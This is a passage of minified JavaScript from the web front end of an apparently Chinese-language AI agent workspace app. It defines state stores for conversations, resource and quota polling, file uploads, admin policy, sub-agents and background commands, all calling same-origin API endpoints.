t=this.toolStacks.get(s);t.includes(e)||t.push(e)},releaseToolAction(s,e){if(!s||!this.toolStacks.has(s))return;const t=this.toolStacks.get(s),n=t.indexOf(e);n!==-1&&t.splice(n,1),t.length===0&&this.toolStacks.delete(s)},getLatestActiveToolAction(s){if(!s||!this.toolStacks.has(s))return null;const e=this.toolStacks.get(s);for(let t=e.length-1;t>=0;t--){const n=e[t];if(!(!n||n.type!=="tool"||!n.tool)&&["preparing","running","stale"].includes(n.tool.status))return n}return e[e.length-1]||null},resetToolTracking(){this.preparingTools.clear(),this.activeTools.clear(),this.toolActionIndex.clear(),this.toolStacks.clear()}}}),Wk=()=>({count:0,limit:0,reset_at:null,window_start:null}),PM=()=>({fast:Wk(),thinking:Wk(),search:Wk(),role:"user"}),S_=6e4,r$=3e5,vm=5e3,o$=3e4,R2=dn("resource",{state:()=>({tokenPanelCollapsed:!0,currentContextTokens:0,currentConversationTokens:{cumulative_input_tokens:0,cumulative_output_tokens:0,cumulative_total_tokens:0},projectStorage:{used_bytes:0,limit_bytes:null,limit_label:"",usage_percent:null},containerStatus:null,containerNetRate:{down_bps:null,up_bps:null},containerVisibilityBound:!1,lastContainerSample:null,containerStatsInFlight:!1,containerStatsFailCount:0,containerStatsIntervalMs:vm,containerStatsTimer:null,projectStorageTimer:null,projectStorageInFlight:!1,projectStorageFailCount:0,projectStorageIntervalMs:S_,usageQuota:PM(),usageQuotaTimer:null}),actions:{resetTokenStatistics(){this.currentContextTokens=0,this.currentConversationTokens={cumulative_input_tokens:0,cumulative_output_tokens:0,cumulative_total_tokens:0}},setCurrentContextTokens(s){this.currentContextTokens=s||0},toggleTokenPanel(){this.tokenPanelCollapsed=!this.tokenPanelCollapsed,this.tokenPanelCollapsed?this.stopContainerStatsPolling():this.startContainerStatsPolling()},async updateCurrentContextTokens(s){if(!s){this.currentContextTokens=0;return}try{const t=await(await fetch(`/api/conversations/${s}/tokens`)).json();t.success&&t.data?this.currentContextTokens=t.data.total_tokens||0:this.currentContextTokens=0}catch(e){console.warn("获取当前上下文Token异常:",e),this.currentContextTokens=0}},async fetchConversationTokenStatistics(s){if(!s){this.resetTokenStatistics();return}try{const t=await(await fetch(`/api/conversations/${s}/token-statistics`)).json();t.success&&t.data&&(this.currentConversationTokens.cumulative_input_tokens=t.data.total_input_tokens||0,this.currentConversationTokens.cumulative_output_tokens=t.data.total_output_tokens||0,this.currentConversationTokens.cumulative_total_tokens=t.data.total_tokens||0,typeof t.data.current_context_tokens=="number"&&(this.currentContextTokens=t.data.current_context_tokens))}catch(e){console.warn("获取Token统计异常:",e)}},applyStatusSnapshot(s){if(!(!s||typeof s!="object")){if(s.project){const e=s.project;if(this.projectStorage.used_bytes=e.total_size||0,this.projectStorage.limit_bytes=e.limit_bytes??null,this.projectStorage.limit_label=e.limit_label||(e.limit_bytes?`${(e.limit_bytes/(1024*1024)).toFixed(0)} MB`:"未限制"),e.limit_bytes){const t=typeof e.usage_percent=="number"?e.usage_percent:e.total_size/e.limit_bytes*100;this.projectStorage.usage_percent=t}else this.projectStorage.usage_percent=null}Object.prototype.hasOwnProperty.call(s,"container")&&this.updateContainerStatus(s.container)}},updateContainerStatus(s){if(!s||s.mode!=="docker"){this.containerStatus=s||null,this.containerNetRate={down_bps:null,up_bps:null},this.lastContainerSample=null;return}const e=s.stats;if(e&&typeof e.timestamp=="number"){const t={timestamp:e.timestamp,rx_bytes:e.net_io&&typeof e.net_io.rx_bytes=="number"?e.net_io.rx_bytes:null,tx_bytes:e.net_io&&typeof e.net_io.tx_bytes=="number"?e.net_io.tx_bytes:null},n=this.lastContainerSample;if(n&&t.rx_bytes!==null&&t.tx_bytes!==null&&n.rx_bytes!==null&&n.tx_bytes!==null){const i=Math.max(.001,t.timestamp-n.timestamp),r=Math.max(0,(t.rx_bytes-n.rx_bytes)/i),o=Math.max(0,(t.tx_bytes-n.tx_bytes)/i);this.containerNetRate={down_bps:r,up_bps:o}}else this.containerNetRate={down_bps:null,up_bps:null};this.lastContainerSample=t}else this.containerNetRate={down_bps:null,up_bps:null},this.lastContainerSample=null;this.containerStatus=s},async pollContainerStats(){if(typeof document<"u"&&document.hidden||this.containerStatsInFlight)return;this.containerStatsInFlight=!0;const s=typeof AbortController<"u"?new AbortController:null,e=s?window.setTimeout(()=>s.abort(),4e3):null;try{const t=await fetch("/api/container-status",{signal:s==null?void 0:s.signal});if(!t.ok)throw new Error(`http-${t.status}`);const n=await t.json();n.success&&this.updateContainerStatus(n.data||null),this.containerStatsFailCount=0,this.containerStatsIntervalMs>vm&&this._restartContainerStatsTimer(vm)}catch(t){if(console.warn("获取容器状态异常:",t),this.containerStatsFailCount+=1,this.containerStatsFailCount>=3){const n=Math.min(this.containerStatsIntervalMs*2,o$);this._restartContainerStatsTimer(n)}}finally{this.containerStatsInFlight=!1,e&&clearTimeout(e)}},startContainerStatsPolling(){this.containerStatsTimer||this.tokenPanelCollapsed||(this.containerStatsFailCount=0,this.containerStatsIntervalMs=vm,this.pollContainerStats(),this.containerStatsTimer=setInterval(()=>{this.pollContainerStats()},this.containerStatsIntervalMs))},stopContainerStatsPolling(){this.containerStatsTimer&&(clearInterval(this.containerStatsTimer),this.containerStatsTimer=null),this.containerStatsInFlight=!1},_restartContainerStatsTimer(s){this.containerStatsTimer&&(clearInterval(this.containerStatsTimer),this.containerStatsTimer=null),this.containerStatsIntervalMs=s,this.containerStatsTimer=setInterval(()=>{this.pollContainerStats()},this.containerStatsIntervalMs)},bindContainerVisibilityWatcher(){if(this.containerVisibilityBound||typeof document>"u")return;const s=()=>{document.hidden?this.stopContainerStatsPolling():(this.containerStatsFailCount=0,this.containerStatsIntervalMs=vm,this.startContainerStatsPolling())};document.addEventListener("visibilitychange",s),this.containerVisibilityBound=!0},async pollProjectStorage(){if(!this.projectStorageInFlight){this.projectStorageInFlight=!0;try{const s=await fetch("/api/project-storage");if(!s.ok)throw new Error(s.statusText||"请求失败");const e=await s.json();e&&e.success&&e.data&&(this.projectStorage.used_bytes=e.data.used_bytes||0,this.projectStorage.limit_bytes=e.data.limit_bytes??null,this.projectStorage.limit_label=e.data.limit_label||"",this.projectStorage.usage_percent=e.data.usage_percent??null,this.projectStorageFailCount=0,this.projectStorageIntervalMs>S_&&this._restartProjectStorageTimer(S_))}catch(s){if(this.projectStorageFailCount+=1,console.warn("获取存储信息失败:",s),this.projectStorageFailCount>=3){const e=Math.min(this.projectStorageIntervalMs*2,r$);e!==this.projectStorageIntervalMs&&(console.warn(`连续获取失败,存储轮询间隔调整为 ${Math.round(e/1e3)} 秒`),this._restartProjectStorageTimer(e))}}finally{this.projectStorageInFlight=!1}}},startProjectStoragePolling(){this.projectStorageTimer||(this.pollProjectStorage(),this.projectStorageTimer=setInterval(()=>{this.pollProjectStorage()},this.projectStorageIntervalMs))},stopProjectStoragePolling(){this.projectStorageTimer&&(clearInterval(this.projectStorageTimer),this.projectStorageTimer=null),this.projectStorageInFlight=!1,this.projectStorageFailCount=0,this.projectStorageIntervalMs=S_},_restartProjectStorageTimer(s){this.projectStorageTimer&&clearInterval(this.projectStorageTimer),this.projectStorageIntervalMs=Math.max(s,1e4),this.projectStorageTimer=setInterval(()=>{this.pollProjectStorage()},this.projectStorageIntervalMs)},normalizeUsageQuota(s){const e=PM(),t=s&&s.quotas||{},n=t.role||s&&s.role||"user";return{fast:{...e.fast,...t.fast||{}},thinking:{...e.thinking,...t.thinking||{}},search:{...e.search,...t.search||{}},role:n}},setUsageQuota(s){this.usageQuota=this.normalizeUsageQuota(s)},async fetchUsageQuota(){try{const s=await fetch("/api/usage");if(!s.ok)throw new Error(s.statusText||"请求失败");const e=await s.json();e&&e.success&&e.data&&this.setUsageQuota(e.data)}catch(s){console.warn("获取用量配额失败:",s)}},startUsageQuotaPolling(){this.usageQuotaTimer||(this.fetchUsageQuota(),this.usageQuotaTimer=setInterval(()=>{this.fetchUsageQuota()},6e4))},stopUsageQuotaPolling(){this.usageQuotaTimer&&(clearInterval(this.usageQuotaTimer),this.usageQuotaTimer=null)}}}),L2="agents_sidebar_conversation_type",a$=()=>{try{return window.localStorage.getItem(L2)==="multi_agent"?"multi_agent":"normal"}catch{return"normal"}},l$=s=>{try{window.localStorage.setItem(L2,s)}catch{}},P2=()=>({conversationsByType:{normal:[],multi_agent:[]},pagingByType:{normal:{offset:0,hasMore:!1,loaded:!1},multi_agent:{offset:0,hasMore:!1,loaded:!1}}}),vr=dn("conversation",{state:()=>({conversations:[],searchResults:[],searchGroups:[],conversationInsertAnimations:{},conversationListAnimationMode:"idle",pendingDeletingConversationIds:[],conversationsLoading:!1,hasMoreConversations:!1,loadingMoreConversations:!1,currentConversationId:null,currentConversationTitle:"",searchQuery:"",searchTimer:null,searchActive:!1,searchInProgress:!1,searchMoreAvailable:!1,searchOffset:0,searchTotal:0,conversationsOffset:0,conversationsLimit:20,runningWorkspaceTasks:[],acknowledgedCompletedTaskIds:[],workspaceGroups:[],multiAgentMode:!1,sidebarConversationType:a$(),conversationsCache:{normal:{list:[],offset:0,hasMore:!1,loaded:!1},multi_agent:{list:[],offset:0,hasMore:!1,loaded:!1}}}),actions:{setCurrentConversationId(s){this.currentConversationId=s},setSidebarConversationType(s){const e=s==="multi_agent"?"multi_agent":"normal";if(this.sidebarConversationType===e)return;const t=this.sidebarConversationType,n=this.conversationsCache[t];n.offset=this.conversationsOffset,n.hasMore=this.hasMoreConversations,this.sidebarConversationType=e,l$(e);const i=this.conversationsCache[e];this.conversations=i.list,this.conversationsOffset=i.offset,this.hasMoreConversations=i.hasMore,this.loadingMoreConversations=!1;for(const r of this.workspaceGroups){if(!r||!r.conversationsByType)continue;const o=r.pagingByType[t];o.offset=r.offset,o.hasMore=r.hasMore,r.conversations=r.conversationsByType[e],r.offset=r.pagingByType[e].offset,r.hasMore=r.pagingByType[e].hasMore,r.loadingMore=!1}},resetConversations(){this.resetConversationsCacheOnly(),this.searchResults=[],this.searchGroups=[],this.conversationInsertAnimations={},this.conversationListAnimationMode="idle",this.pendingDeletingConversationIds=[],this.searchActive=!1,this.searchInProgress=!1,this.searchMoreAvailable=!1,this.searchOffset=0,this.searchTotal=0,this.hasMoreConversations=!1,this.loadingMoreConversations=!1,this.conversationsOffset=0,this.runningWorkspaceTasks=[],this.acknowledgedCompletedTaskIds=[]},resetConversationsTypeCache(){this.resetConversationsCacheOnly()},resetConversationsCacheOnly(){this.conversationsCache={normal:{list:[],offset:0,hasMore:!1,loaded:!1},multi_agent:{list:[],offset:0,hasMore:!1,loaded:!1}},this.conversations=this.conversationsCache[this.sidebarConversationType].list},cancelSearchTimer(){this.searchTimer&&(clearTimeout(this.searchTimer),this.searchTimer=null)},setWorkspaceGroups(s){this.workspaceGroups=s},setWorkspaceGroupExpanded(s,e){const t=this.workspaceGroups.find(n=>n.workspaceId===s);t&&(t.expanded=e)},setWorkspaceGroupConversations(s,e){const t=this.workspaceGroups.find(n=>n.workspaceId===s);t&&t.conversations.splice(0,t.conversations.length,...e)},appendWorkspaceGroupConversations(s,e){const t=this.workspaceGroups.find(n=>n.workspaceId===s);t&&t.conversations.push(...e)},setWorkspaceGroupLoading(s,e){const t=this.workspaceGroups.find(n=>n.workspaceId===s);t&&(t.loading=e)},setWorkspaceGroupLoadingMore(s,e){const t=this.workspaceGroups.find(n=>n.workspaceId===s);t&&(t.loadingMore=e)},setWorkspaceGroupHasMore(s,e){const t=this.workspaceGroups.find(n=>n.workspaceId===s);t&&(t.hasMore=e)},setWorkspaceGroupOffset(s,e){const t=this.workspaceGroups.find(n=>n.workspaceId===s);t&&(t.offset=e)},setWorkspaceGroupVisibleOffset(s,e){const t=this.workspaceGroups.find(n=>n.workspaceId===s);t&&(t.visibleOffset=Math.max(0,e))},ensureWorkspaceGroup(s){if(!s)return;if(!this.workspaceGroups.some(t=>t.workspaceId===s)){const t=P2();this.workspaceGroups.push({workspaceId:s,conversations:t.conversationsByType[this.sidebarConversationType],...t,loading:!1,hasMore:!1,loadingMore:!1,offset:0,visibleOffset:0,visibleLimit:5,bufferLimit:20,fetchLimit:25,expanded:!0})}},async loadWorkspaceConversations(s,{reset:e=!1,refresh:t=!1}={}){var l,u;if(!s)return;let n=this.workspaceGroups.findIndex(h=>h.workspaceId===s);n===-1&&(this.ensureWorkspaceGroup(s),n=this.workspaceGroups.length-1);const i=this.workspaceGroups[n],r=this.sidebarConversationType,o=i.conversationsByType[r],a=i.pagingByType[r];if(e&&(o.length=0,a.offset=0,a.hasMore=!1,a.loaded=!1,i.visibleOffset=0,r===this.sidebarConversationType&&(i.offset=0,i.hasMore=!1)),i.loading||i.loadingMore)return;const c=t?0:a.offset;i.loading=!0;try{const h=r==="multi_agent"?"&multi_agent_mode=1":"&multi_agent_mode=0",p=await(await fetch(`/api/conversations?workspace_id=${encodeURIComponent(s)}&limit=${i.fetchLimit}&offset=${c}${h}`)).json();if(p.success){const m=(((l=p.data)==null?void 0:l.conversations)||[]).map(g=>({id:g.id,title:g.title,updated_at:g.updated_at,total_messages:g.total_messages,total_tools:g.total_tools}));if(t){const g=o.slice(m.length);o.splice(0,o.length,...m,...g)}else c===0?o.splice(0,o.length,...m):o.push(...m);a.hasMore=!!((u=p.data)!=null&&u.has_more),a.loaded=!0,t||(a.offset=c+m.length),r===this.sidebarConversationType&&(i.hasMore=a.hasMore,i.offset=a.offset);const v=r==="multi_agent"?"normal":"multi_agent";c===0&&!i.pagingByType[v].loaded&&this.loadWorkspaceConversationTypeCache(s,v).catch(()=>{})}else console.error("加载工作区对话失败:",p.error)}catch(h){console.error("加载工作区对话异常:",h)}finally{i.loading=!1}},async loadWorkspaceConversationTypeCache(s,e){var i,r;const t=this.workspaceGroups.find(o=>o.workspaceId===s);if(!t||t.pagingByType[e].loaded)return;const n=e==="multi_agent"?"&multi_agent_mode=1":"&multi_agent_mode=0";try{const a=await(await fetch(`/api/conversations?workspace_id=${encodeURIComponent(s)}&limit=${t.fetchLimit}&offset=0${n}`)).json();if(!(a!=null&&a.success)||t.pagingByType[e].loaded)return;const c=(((i=a.data)==null?void 0:i.conversations)||[]).map(l=>({id:l.id,title:l.title,updated_at:l.updated_at,total_messages:l.total_messages,total_tools:l.total_tools}));t.conversationsByType[e].push(...c),t.pagingByType[e].offset=c.length,t.pagingByType[e].hasMore=!!((r=a.data)!=null&&r.has_more),t.pagingByType[e].loaded=!0}catch(o){console.error("补载工作区对话缓存异常:",o)}},async loadMoreWorkspaceConversations(s){var i,r,o;const e=this.workspaceGroups.findIndex(a=>a.workspaceId===s);if(e===-1)return;const t=this.workspaceGroups[e];if(!(t.loadingMore||!(t.conversations.length>t.visibleLimit)&&!t.hasMore)){if(t.loadingMore=!0,t.hasMore){const a=this.sidebarConversationType;try{const c=t.conversations.length,l=a==="multi_agent"?"&multi_agent_mode=1":"&multi_agent_mode=0",h=await(await fetch(`/api/conversations?workspace_id=${encodeURIComponent(s)}&limit=${t.bufferLimit}&offset=${c}${l}`)).json();if(h.success){const d=(((i=h.data)==null?void 0:i.conversations)||[]).map(m=>({id:m.id,title:m.title,updated_at:m.updated_at,total_messages:m.total_messages,total_tools:m.total_tools}));t.conversations.push(...d),t.hasMore=!!((r=h.data)!=null&&r.has_more);const p=(o=t.pagingByType)==null?void 0:o[a];p&&(p.offset=t.conversations.length,p.hasMore=t.hasMore)}}catch(c){console.error("加载更多工作区对话异常:",c)}}t.visibleLimit+=t.bufferLimit,t.loadingMore=!1}}}}),Ei=Object.freeze(Object.defineProperty({__proto__:null,createEmptyGroupTypeCache:P2,useConversationStore:vr},Symbol.toStringTag,{value:"Module"}));function c$(...s){}function O2(s){if(!s)return[];const e=Object.keys(s).map(t=>{const n=s[t]||{};return n.type==="folder"?{type:"folder",name:t,path:n.path||t,children:O2(n.children)}:{type:"file",name:t,path:n.path||t,annotation:n.annotation||""}});return e.sort((t,n)=>t.type!==n.type?t.type==="folder"?-1:1:t.name.localeCompare(n.name,"zh-CN")),e}const Tc=dn("file",{state:()=>({fileTree:[],expandedFolders:{},todoList:null,todoListLive:!1,todoSyncSeq:0,fileTreeUnavailable:!1,fileTreeMessage:"",contextMenu:{visible:!1,x:0,y:0,node:null}}),actions:{async fetchFileTree(){try{const e=await(await fetch("/api/files")).json();c$("[FileTree] fetch result",e),this.setFileTreeFromResponse(e)}catch(s){console.error("获取文件树失败:",s)}},markFileTreeUnavailable(s){this.fileTreeUnavailable=!0,this.fileTreeMessage=s||"宿主机模式下文件树不可用",this.fileTree=[],this.expandedFolders={}},setFileTreeFromResponse(s){if(!s){console.warn("[FileTree] 空 payload");return}if(s.unavailable){this.markFileTreeUnavailable(s.message||s.error);return}const e=s.structure||s;if(e&&e.unavailable){this.markFileTreeUnavailable(e.message||e.error);return}if(!e||!e.tree){console.warn("[FileTree] 缺少 structure.tree",e);return}this.fileTreeUnavailable=!1,this.fileTreeMessage="";const t=O2(e.tree),n={...this.expandedFolders},i=new Set,r=o=>{o.forEach(a=>{a.type==="folder"&&(i.add(a.path),n[a.path]===void 0&&(n[a.path]=!1),r(a.children||[]))})};r(t),Object.keys(n).forEach(o=>{i.has(o)||delete n[o]}),this.expandedFolders=n,this.fileTree=t},toggleFolder(s){if(!s)return;const e=!!this.expandedFolders[s];this.expandedFolders={...this.expandedFolders,[s]:!e}},async fetchTodoList(){const s=vr().currentConversationId;if(!s){this.setTodoList(null);return}try{const e=`/api/todo-list?conversation_id=${encodeURIComponent(s)}`,n=await(await fetch(e)).json();n&&n.success&&(this.todoListLive=!1,this.todoList=n.data||null,this.todoSyncSeq+=1)}catch(e){console.error("获取待办列表失败:",e)}},setTodoList(s,e=!1){this.todoListLive=e,this.todoList=s,this.todoSyncSeq+=1},showContextMenu(s){if(!s||!s.node)return;const{node:e,event:t}=s;if(!e.path&&e.path!==""){this.hideContextMenu();return}if(e.type!=="file"&&e.type!=="folder"){this.hideContextMenu();return}t&&typeof t.preventDefault=="function"&&t.preventDefault(),t&&typeof t.stopPropagation=="function"&&t.stopPropagation();const n=200,i=50,r=window.innerWidth,o=window.innerHeight;let a=t&&t.clientX||0,c=t&&t.clientY||0;a+n>r&&(a=r-n-8),c+i>o&&(c=o-i-8),this.contextMenu={visible:!0,x:Math.max(8,a),y:Math.max(8,c),node:e}},hideContextMenu(){this.contextMenu.visible&&(this.contextMenu={visible:!1,x:0,y:0,node:null})}}}),u$={categories:{},forced_category_states:{},disabled_models:[],ui_blocks:{}},No=dn("policy",{state:()=>({loaded:!1,loading:!1,error:"",policy:null}),getters:{disabledModelSet(s){var e;return new Set(((e=s.policy)==null?void 0:e.disabled_models)||[])},forcedCategoryStates(s){var e;return((e=s.policy)==null?void 0:e.forced_category_states)||{}},uiBlocks(s){var e;return((e=s.policy)==null?void 0:e.ui_blocks)||{}}},actions:{async fetchPolicy(){if(!this.loading){this.loading=!0,this.error="";try{const s=await fetch("/api/effective-policy"),e=await s.json();if(!s.ok||!e.success)throw new Error(e.error||"加载策略失败");this.policy=e.data||u$,this.loaded=!0}catch(s){this.error=(s==null?void 0:s.message)||"加载策略失败"}finally{this.loading=!1}}},isModelDisabled(s){return this.disabledModelSet.has(s)},isCategoryLocked(s){return typeof this.forcedCategoryStates[s]=="boolean"},categoryLockedState(s){const e=this.forcedCategoryStates;return typeof e[s]=="boolean"?e[s]:null},isBlocked(s){return!!this.uiBlocks[s]}}});function h$(s){if(!s)return null;const e={"image/jpeg":"image.jpg","image/jpg":"image.jpg","image/png":"image.png","image/gif":"image.gif","image/webp":"image.webp","image/bmp":"image.bmp","image/svg+xml":"image.svg","video/mp4":"video.mp4","video/quicktime":"video.mov","video/x-matroska":"video.mkv","video/avi":"video.avi","video/webm":"video.webm","application/pdf":"document.pdf","text/plain":"document.txt","text/markdown":"document.md"},t=s.split(";")[0].trim().toLowerCase();return e[t]||null}const D2=dn("upload",{state:()=>({uploading:!1,mediaUploading:!1}),actions:{setUploading(s){this.uploading=s},setMediaUploading(s){this.mediaUploading=s},async handleSelectedFiles(s){if(!s)return;const e=Array.isArray(s)?s:Array.from(s),[t]=e;t&&await this.uploadFile(t)},async uploadFiles(s,e={}){var c;if(!s)return[];const t=Array.isArray(s)?s:Array.from(s);if(!t.length)return[];const{markUploading:n=!0,markMediaUploading:i=!1}=e;if((c=No().uiBlocks)!=null&&c.block_upload)return Vs().pushToast({title:"上传被禁用",message:"已被管理员禁用上传功能",type:"warning"}),[];const o=Tc(),a=[];n&&this.setUploading(!0),i&&this.setMediaUploading(!0);try{for(const l of t){const u=await this.uploadFile(l,{manageUploading:!1,refreshFileTree:!1,skipPolicyCheck:!0});u!=null&&u.path&&a.push(u)}a.length&&await o.fetchFileTree()}finally{i&&this.setMediaUploading(!1),n&&this.setUploading(!1)}return a},async uploadFile(s,e={}){var u;const{manageUploading:t=!0,refreshFileTree:n=!0,skipPolicyCheck:i=!1}=e;if(!s||t&&this.uploading)return null;const r=No();if(!i&&((u=r.uiBlocks)!=null&&u.block_upload))return Vs().pushToast({title:"上传被禁用",message:"已被管理员禁用上传功能",type:"warning"}),null;const o=Vs(),a=Tc();(s.type&&s.type.startsWith("video/")||/\.(mp4|mov|m4v|webm|avi|mkv|flv|mpg|mpeg)$/i.test(s.name||""))&&o.pushToast({title:"视频处理中",message:"读取视频需要较长时间,请耐心等待",type:"info",duration:5e3}),t&&this.setUploading(!0);const l=o.pushToast({title:"上传文件",message:`正在上传 ${s.name}...`,type:"info",duration:null});try{const h=s.name||h$(s.type)||`upload_${Date.now()}`,d=new FormData;d.append("file",s),d.append("filename",h);const p=await fetch("/api/upload",{method:"POST",body:d});l&&o.updateToast(l,{message:"文件已上传,正在执行安全扫描...",type:"info"});let m={};try{m=await p.json()}catch{throw new Error("服务器响应无法解析")}if(!p.ok||!m.success){const g=m.error||m.message||"上传失败";throw new Error(g)}n&&await a.fetchFileTree();const v=`上传成功:${m.path||s.name}`;return l?o.updateToast(l,{title:"上传完成",message:v,type:"success",duration:4500}):o.pushToast({title:"上传完成",message:v,type:"success"}),m!=null&&m.path?{path:m.path,filename:m.filename||s.name||m.path}:null}catch(h){const d=h&&h.message?String(h.message):"",p=s&&s.name?s.name:"文件";let m=d||"请稍后重试";/安全审核未通过/.test(d)||/Eicar/i.test(d)?m=`${p} 安全审核未通过`:/文件类型不在允许列表中/.test(d)?m=`${p} 文件类型不在允许列表中`:m?m=`${p} 上传失败:${m}`:m=`${p} 上传失败,请稍后重试`;const v=Vs();return l?v.updateToast(l,{title:"上传失败",message:m,type:"error",duration:5e3}):v.pushToast({title:"上传失败",message:m,type:"error"}),null}finally{t&&this.setUploading(!1)}}}}),d$=new Set(["completed","failed","timeout","terminated"]),oh=dn("subAgent",{state:()=>({subAgents:[],activityTimer:null,activeAgent:null,silentActivityTaskId:null,stoppingTaskIds:{},activityEntries:[],activityLoading:!1,activityError:null}),actions:{async fetchSubAgents(){var s;try{const e=vr(),t=e.currentConversationId;if(!t){this.subAgents=[];return}this.subAgents=this.subAgents.filter(r=>!r.conversation_id||r.conversation_id===t);let n;if(e.multiAgentMode?n=await fetch(`/api/multiagent/active_sub_agents?conversation_id=${encodeURIComponent(t)}`):n=await fetch(`/api/sub_agents?conversation_id=${encodeURIComponent(t)}`),!n.ok)throw new Error(await n.text());const i=await n.json();if(i.success){const r=e.multiAgentMode?Array.isArray(i.agents)?i.agents:[]:Array.isArray(i.data)?i.data:[];r.sort((a,c)=>(Number(a==null?void 0:a.created_at)||0)-(Number(c==null?void 0:c.created_at)||0)),this.subAgents=r;const o=(s=this.activeAgent)==null?void 0:s.task_id;if(o){const a=this.subAgents.find(c=>c.task_id===o);a&&(this.activeAgent={...a})}}}catch(e){console.error("获取子智能体列表失败:",e)}},openSubAgent(s,e){!s||!s.task_id||(e!=null&&e.silent?this.silentActivityTaskId=s.task_id:(this.activeAgent=s,this.silentActivityTaskId=null),this.activityEntries=[],this.activityError=null,this.fetchSubAgentActivity(s.task_id),this.startActivityPolling())},closeSubAgent(){this.stopActivityPolling(),this.activeAgent=null,this.silentActivityTaskId=null,this.activityEntries=[],this.activityError=null,this.activityLoading=!1},startActivityPolling(){this.activityTimer||(this.activityTimer=setInterval(()=>{var e;const s=((e=this.activeAgent)==null?void 0:e.task_id)||this.silentActivityTaskId;s&&this.fetchSubAgentActivity(s)},2e3))},stopActivityPolling(){this.activityTimer&&(clearInterval(this.activityTimer),this.activityTimer=null)},async fetchSubAgentActivity(s){if(s){this.activityLoading=!0;try{const e=vr().currentConversationId,t=e?`&conversation_id=${encodeURIComponent(e)}`:"",n=await fetch(`/api/sub_agents/${s}/activity?limit=100000${t}`);if(!n.ok)throw new Error(await n.text());const i=await n.json();if(i&&i.success&&i.data){const r=Array.isArray(i.data.entries)?i.data.entries:[];this.activityEntries=r,this.activeAgent&&this.activeAgent.task_id===s&&(this.activeAgent={...this.activeAgent,status:i.data.status||this.activeAgent.status});const o=this.subAgents.find(c=>c.task_id===s);o&&i.data.status&&(o.status=i.data.status);const a=(i.data.status||"").toString();d$.has(a)&&this.stopActivityPolling()}}catch(e){this.activityError=(e==null?void 0:e.message)||String(e),console.error("获取子智能体活动失败:",e)}finally{this.activityLoading=!1}}},async terminateSubAgent(s){var t;const e=(s||"").toString().trim();if(!e)return{success:!1,error:"task_id 不能为空"};this.stoppingTaskIds={...this.stoppingTaskIds,[e]:!0};try{const i=vr().currentConversationId,r=i?`?conversation_id=${encodeURIComponent(i)}`:"",o=await fetch(`/api/sub_agents/${encodeURIComponent(e)}/terminate${r}`,{method:"POST"}),a=await o.json().catch(()=>({}));if(!o.ok||!(a!=null&&a.success))throw new Error((a==null?void 0:a.error)||`HTTP ${o.status}`);return await this.fetchSubAgents(),((t=this.activeAgent)==null?void 0:t.task_id)===e&&(await this.fetchSubAgentActivity(e),this.activeAgent={...this.activeAgent,status:"terminated"}),{success:!0,data:(a==null?void 0:a.data)||null}}catch(n){return{success:!1,error:(n==null?void 0:n.message)||String(n)}}finally{const n={...this.stoppingTaskIds};delete n[e],this.stoppingTaskIds=n}},async stopAllAgents(s){var e;try{const n=vr().currentConversationId,i=n?`?conversation_id=${encodeURIComponent(n)}`:"",r=await fetch(`/api/sub_agents/stop_all${i}`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({mode:s})}),o=await r.json().catch(()=>({}));if(!r.ok||!(o!=null&&o.success))throw new Error((o==null?void 0:o.error)||`HTTP ${r.status}`);return await this.fetchSubAgents(),{success:!0,stoppedCount:((e=o==null?void 0:o.data)==null?void 0:e.stopped_count)||0}}catch(t){return{success:!1,error:(t==null?void 0:t.message)||String(t)}}},stripConversationPrefix(s){return s?s.startsWith("conv_")?s.slice(5):s:""},getBaseUrl(){const s=window.SUB_AGENT_BASE_URL||window.__SUB_AGENT_BASE_URL__;if(s&&typeof s=="string")return s.replace(/\/$/,"");const{protocol:e,hostname:t}=window.location;if(t&&t.includes("agent.")){const n=t.replace("agent.","subagent.");return`${e}//${n}`}return`${e}//${t}:8092`}}}),f$=Object.freeze(Object.defineProperty({__proto__:null,useSubAgentStore:oh},Symbol.toStringTag,{value:"Module"}));function zk(){const s=vr().currentConversationId;return s?`conversation_id=${encodeURIComponent(s)}`:""}const p$=new Set(["completed","failed","timeout","cancelled"]),cm=dn("backgroundCommand",{state:()=>({commands:[],detailPollTimer:null,activeCommand:null,silentDetailCommandId:null,stoppingCommandIds:{},activeDetail:null,detailLoading:!1,detailError:null}),actions:{async fetchCommands(){var s;try{const e=vr().currentConversationId;if(!e){this.commands=[];return}const t=zk();this.commands=this.commands.filter(r=>!r.conversation_id||r.conversation_id===e);const n=await fetch(`/api/background_commands?limit=200${t?`&${t}`:""}`);if(!n.ok)throw new Error(await n.text());const i=await n.json();if(i.success){const r=Array.isArray(i.data)?i.data:[];r.sort((a,c)=>(Number(a==null?void 0:a.created_at)||0)-(Number(c==null?void 0:c.created_at)||0)),this.commands=r;const o=(s=this.activeCommand)==null?void 0:s.command_id;if(o){const a=this.commands.find(c=>c.command_id===o);a&&(this.activeCommand={...a})}}}catch(e){console.error("获取后台指令列表失败:",e)}},openCommand(s,e){!s||!s.command_id||(e!=null&&e.silent?this.silentDetailCommandId=s.command_id:(this.activeCommand=s,this.silentDetailCommandId=null),this.activeDetail=null,this.detailError=null,this.fetchCommandDetail(s.command_id),this.startDetailPolling())},closeCommand(){this.stopDetailPolling(),this.activeCommand=null,this.silentDetailCommandId=null,this.activeDetail=null,this.detailError=null,this.detailLoading=!1},startDetailPolling(){this.detailPollTimer||(this.detailPollTimer=setInterval(()=>{var e;const s=((e=this.activeCommand)==null?void 0:e.command_id)||this.silentDetailCommandId;s&&this.fetchCommandDetail(s)},2e3))},stopDetailPolling(){this.detailPollTimer&&(clearInterval(this.detailPollTimer),this.detailPollTimer=null)},async fetchCommandDetail(s){if(s){this.detailLoading=!0;try{const e=zk(),t=await fetch(`/api/background_commands/${encodeURIComponent(s)}${e?`?${e}`:""}`);if(!t.ok)throw new Error(await t.text());const n=await t.json();if(n&&n.success&&n.data){this.activeDetail=n.data;const i=this.commands.find(o=>o.command_id===s);i&&Object.assign(i,n.data),this.activeCommand&&this.activeCommand.command_id===s&&(this.activeCommand={...this.activeCommand,...n.data});const r=(n.data.status||"").toString();p$.has(r)&&this.stopDetailPolling()}}catch(e){this.detailError=(e==null?void 0:e.message)||String(e),console.error("获取后台指令详情失败:",e)}finally{this.detailLoading=!1}}},async cancelCommand(s){var t;const e=(s||"").toString().trim();if(!e)return{success:!1,error:"command_id 不能为空"};this.stoppingCommandIds={...this.stoppingCommandIds,[e]:!0};try{const n=zk(),i=await fetch(`/api/background_commands/${encodeURIComponent(e)}/cancel${n?`?${n}`:""}`,{method:"POST"}),r=await i.json().catch(()=>({}));if(!i.ok||!(r!=null&&r.success))throw 